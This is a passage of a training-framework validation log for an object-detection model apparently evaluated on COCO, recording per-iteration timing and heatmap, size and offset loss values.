0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1156/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9058 |hm_loss 0.6105 |wh_loss 2.5259 |off_loss 0.0428 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1157/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9051 |hm_loss 0.6100 |wh_loss 2.5237 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1158/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9044 |hm_loss 0.6095 |wh_loss 2.5215 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1159/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9036 |hm_loss 0.6090 |wh_loss 2.5194 |off_loss 0.0427 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1160/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9029 |hm_loss 0.6085 |wh_loss 2.5172 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1161/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9022 |hm_loss 0.6081 |wh_loss 2.5150 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1162/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9014 |hm_loss 0.6076 |wh_loss 2.5129 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1163/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9007 |hm_loss 0.6071 |wh_loss 2.5107 |off_loss 0.0425 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1164/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9000 |hm_loss 0.6066 |wh_loss 2.5085 |off_loss 0.0425 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1165/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.8993 |hm_loss 0.6062 |wh_loss 2.5064 |off_loss 0.0424 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1166/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.8985 |hm_loss 0.6057 |wh_loss 2.5042 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1167/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.8978 |hm_loss 0.6052 |wh_loss 2.5021 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1168/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.8971 |hm_loss 0.6047 |wh_loss 2.5000 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1169/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9019 |hm_loss 0.6074 |wh_loss 2.5189 |off_loss 0.0425 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1170/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9067 |hm_loss 0.6106 |wh_loss 2.5313 |off_loss 0.0429 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1171/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9105 |hm_loss 0.6139 |wh_loss 2.5351 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1172/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9162 |hm_loss 0.6171 |wh_loss 2.5548 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1173/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9154 |hm_loss 0.6166 |wh_loss 2.5526 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1174/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9147 |hm_loss 0.6162 |wh_loss 2.5505 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1175/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9139 |hm_loss 0.6157 |wh_loss 2.5483 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1176/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9132 |hm_loss 0.6152 |wh_loss 2.5461 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1177/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9125 |hm_loss 0.6147 |wh_loss 2.5440 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1178/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9117 |hm_loss 0.6142 |wh_loss 2.5418 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1179/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9110 |hm_loss 0.6138 |wh_loss 2.5397 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1180/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9103 |hm_loss 0.6133 |wh_loss 2.5375 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1181/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9096 |hm_loss 0.6128 |wh_loss 2.5354 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1182/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9145 |hm_loss 0.6159 |wh_loss 2.5516 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1183/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9185 |hm_loss 0.6192 |wh_loss 2.5557 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1184/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9233 |hm_loss 0.6224 |wh_loss 2.5707 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1185/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9226 |hm_loss 0.6219 |wh_loss 2.5685 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1186/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9219 |hm_loss 0.6214 |wh_loss 2.5664 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1187/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9211 |hm_loss 0.6209 |wh_loss 2.5642 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1188/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9204 |hm_loss 0.6205 |wh_loss 2.5621 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1189/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9197 |hm_loss 0.6200 |wh_loss 2.5599 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1190/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9189 |hm_loss 0.6195 |wh_loss 2.5577 |off_loss 0.0437 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1191/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9182 |hm_loss 0.6190 |wh_loss 2.5556 |off_loss 0.0436 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1192/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9175 |hm_loss 0.6186 |wh_loss 2.5535 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1193/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9168 |hm_loss 0.6181 |wh_loss 2.5513 |off_loss 0.0435 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1194/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9160 |hm_loss 0.6176 |wh_loss 2.5492 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1195/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9153 |hm_loss 0.6171 |wh_loss 2.5471 |off_loss 0.0435 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1196/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9146 |hm_loss 0.6167 |wh_loss 2.5449 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1197/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9139 |hm_loss 0.6162 |wh_loss 2.5428 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1198/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9131 |hm_loss 0.6157 |wh_loss 2.5407 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1199/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9124 |hm_loss 0.6152 |wh_loss 2.5386 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1200/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9117 |hm_loss 0.6148 |wh_loss 2.5365 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1201/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9110 |hm_loss 0.6143 |wh_loss 2.5343 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1202/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9103 |hm_loss 0.6138 |wh_loss 2.5322 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1203/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9096 |hm_loss 0.6134 |wh_loss 2.5301 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1204/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9088 |hm_loss 0.6129 |wh_loss 2.5280 |off_loss 0.0431 |Data 0.016s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1205/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9081 |hm_loss 0.6124 |wh_loss 2.5259 |off_loss 0.0431 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1206/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9074 |hm_loss 0.6120 |wh_loss 2.5238 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1207/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9067 |hm_loss 0.6115 |wh_loss 2.5218 |off_loss 0.0430 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1208/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9060 |hm_loss 0.6110 |wh_loss 2.5197 |off_loss 0.0430 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1209/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9053 |hm_loss 0.6106 |wh_loss 2.5176 |off_loss 0.0430 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1210/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9046 |hm_loss 0.6101 |wh_loss 2.5155 |off_loss 0.0429 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1211/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9039 |hm_loss 0.6096 |wh_loss 2.5134 |off_loss 0.0429 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1212/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9032 |hm_loss 0.6092 |wh_loss 2.5114 |off_loss 0.0429 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1213/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9025 |hm_loss 0.6087 |wh_loss 2.5093 |off_loss 0.0428 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1214/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9018 |hm_loss 0.6083 |wh_loss 2.5072 |off_loss 0.0428 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1215/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9011 |hm_loss 0.6078 |wh_loss 2.5052 |off_loss 0.0428 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1216/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.9004 |hm_loss 0.6073 |wh_loss 2.5031 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1217/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.8997 |hm_loss 0.6069 |wh_loss 2.5010 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1218/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.8990 |hm_loss 0.6064 |wh_loss 2.4990 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1219/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.8983 |hm_loss 0.6060 |wh_loss 2.4969 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1220/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.8976 |hm_loss 0.6055 |wh_loss 2.4949 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1221/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.8969 |hm_loss 0.6051 |wh_loss 2.4929 |off_loss 0.0425 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1222/2110]|Tot: 0:00:26 |ETA: 0:00:00 |loss 0.8962 |hm_loss 0.6046 |wh_loss 2.4908 |off_loss 0.0425 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1223/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8955 |hm_loss 0.6042 |wh_loss 2.4888 |off_loss 0.0425 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1224/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8948 |hm_loss 0.6037 |wh_loss 2.4868 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1225/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8942 |hm_loss 0.6033 |wh_loss 2.4847 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1226/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8935 |hm_loss 0.6028 |wh_loss 2.4827 |off_loss 0.0424 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1227/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8928 |hm_loss 0.6024 |wh_loss 2.4807 |off_loss 0.0423 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1228/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8921 |hm_loss 0.6019 |wh_loss 2.4787 |off_loss 0.0423 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1229/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8914 |hm_loss 0.6015 |wh_loss 2.4766 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1230/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8907 |hm_loss 0.6010 |wh_loss 2.4746 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1231/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8901 |hm_loss 0.6006 |wh_loss 2.4726 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1232/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8894 |hm_loss 0.6002 |wh_loss 2.4706 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1233/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8887 |hm_loss 0.5997 |wh_loss 2.4686 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1234/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8880 |hm_loss 0.5993 |wh_loss 2.4666 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1235/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8874 |hm_loss 0.5988 |wh_loss 2.4646 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1236/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8867 |hm_loss 0.5984 |wh_loss 2.4626 |off_loss 0.0420 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1237/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8860 |hm_loss 0.5979 |wh_loss 2.4606 |off_loss 0.0420 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1238/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8853 |hm_loss 0.5975 |wh_loss 2.4587 |off_loss 0.0420 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1239/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8847 |hm_loss 0.5971 |wh_loss 2.4567 |off_loss 0.0419 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1240/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8840 |hm_loss 0.5966 |wh_loss 2.4547 |off_loss 0.0419 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1241/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8833 |hm_loss 0.5962 |wh_loss 2.4527 |off_loss 0.0419 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1242/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8827 |hm_loss 0.5958 |wh_loss 2.4507 |off_loss 0.0418 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1243/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8820 |hm_loss 0.5953 |wh_loss 2.4488 |off_loss 0.0418 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1244/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8813 |hm_loss 0.5949 |wh_loss 2.4468 |off_loss 0.0418 |Data 0.010s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1245/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8807 |hm_loss 0.5944 |wh_loss 2.4448 |off_loss 0.0417 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1246/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8800 |hm_loss 0.5940 |wh_loss 2.4429 |off_loss 0.0417 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1247/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8793 |hm_loss 0.5936 |wh_loss 2.4409 |off_loss 0.0417 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1248/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8787 |hm_loss 0.5931 |wh_loss 2.4390 |off_loss 0.0416 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1249/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8780 |hm_loss 0.5927 |wh_loss 2.4370 |off_loss 0.0416 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1250/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8773 |hm_loss 0.5923 |wh_loss 2.4351 |off_loss 0.0416 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1251/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8767 |hm_loss 0.5918 |wh_loss 2.4331 |off_loss 0.0415 |Data 0.021s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1252/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8760 |hm_loss 0.5914 |wh_loss 2.4312 |off_loss 0.0415 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1253/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8754 |hm_loss 0.5910 |wh_loss 2.4292 |off_loss 0.0415 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1254/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8747 |hm_loss 0.5906 |wh_loss 2.4273 |off_loss 0.0414 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1255/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8741 |hm_loss 0.5901 |wh_loss 2.4254 |off_loss 0.0414 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1256/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8734 |hm_loss 0.5897 |wh_loss 2.4235 |off_loss 0.0414 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1257/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8727 |hm_loss 0.5893 |wh_loss 2.4215 |off_loss 0.0413 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1258/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8721 |hm_loss 0.5888 |wh_loss 2.4196 |off_loss 0.0413 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1259/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8714 |hm_loss 0.5884 |wh_loss 2.4177 |off_loss 0.0413 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1260/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8708 |hm_loss 0.5880 |wh_loss 2.4158 |off_loss 0.0412 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1261/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8701 |hm_loss 0.5876 |wh_loss 2.4138 |off_loss 0.0412 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1262/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8695 |hm_loss 0.5871 |wh_loss 2.4119 |off_loss 0.0412 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1263/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8735 |hm_loss 0.5896 |wh_loss 2.4260 |off_loss 0.0413 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1264/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8782 |hm_loss 0.5926 |wh_loss 2.4385 |off_loss 0.0417 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1265/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8827 |hm_loss 0.5956 |wh_loss 2.4497 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1266/2110]|Tot: 0:00:27 |ETA: 0:00:00 |loss 0.8870 |hm_loss 0.5987 |wh_loss 2.4603 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1267/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8864 |hm_loss 0.5982 |wh_loss 2.4584 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1268/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8857 |hm_loss 0.5978 |wh_loss 2.4564 |off_loss 0.0423 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1269/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8892 |hm_loss 0.6000 |wh_loss 2.4680 |off_loss 0.0424 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1270/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8940 |hm_loss 0.6029 |wh_loss 2.4845 |off_loss 0.0427 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1271/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8985 |hm_loss 0.6057 |wh_loss 2.4981 |off_loss 0.0430 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1272/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.9038 |hm_loss 0.6087 |wh_loss 2.5167 |off_loss 0.0434 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1273/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.9031 |hm_loss 0.6082 |wh_loss 2.5148 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1274/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.9025 |hm_loss 0.6078 |wh_loss 2.5128 |off_loss 0.0434 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1275/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.9018 |hm_loss 0.6074 |wh_loss 2.5108 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1276/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.9011 |hm_loss 0.6069 |wh_loss 2.5088 |off_loss 0.0433 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1277/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.9005 |hm_loss 0.6065 |wh_loss 2.5069 |off_loss 0.0433 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1278/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8998 |hm_loss 0.6061 |wh_loss 2.5049 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1279/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8991 |hm_loss 0.6056 |wh_loss 2.5030 |off_loss 0.0432 |Data 0.007s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1280/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8985 |hm_loss 0.6052 |wh_loss 2.5010 |off_loss 0.0432 |Data 0.009s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1281/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8978 |hm_loss 0.6048 |wh_loss 2.4991 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1282/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8972 |hm_loss 0.6044 |wh_loss 2.4971 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1283/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8965 |hm_loss 0.6039 |wh_loss 2.4952 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1284/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8958 |hm_loss 0.6035 |wh_loss 2.4932 |off_loss 0.0430 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1285/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8952 |hm_loss 0.6031 |wh_loss 2.4913 |off_loss 0.0430 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1286/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8945 |hm_loss 0.6026 |wh_loss 2.4894 |off_loss 0.0430 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1287/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8939 |hm_loss 0.6022 |wh_loss 2.4874 |off_loss 0.0429 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1288/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8932 |hm_loss 0.6018 |wh_loss 2.4855 |off_loss 0.0429 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1289/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8926 |hm_loss 0.6014 |wh_loss 2.4836 |off_loss 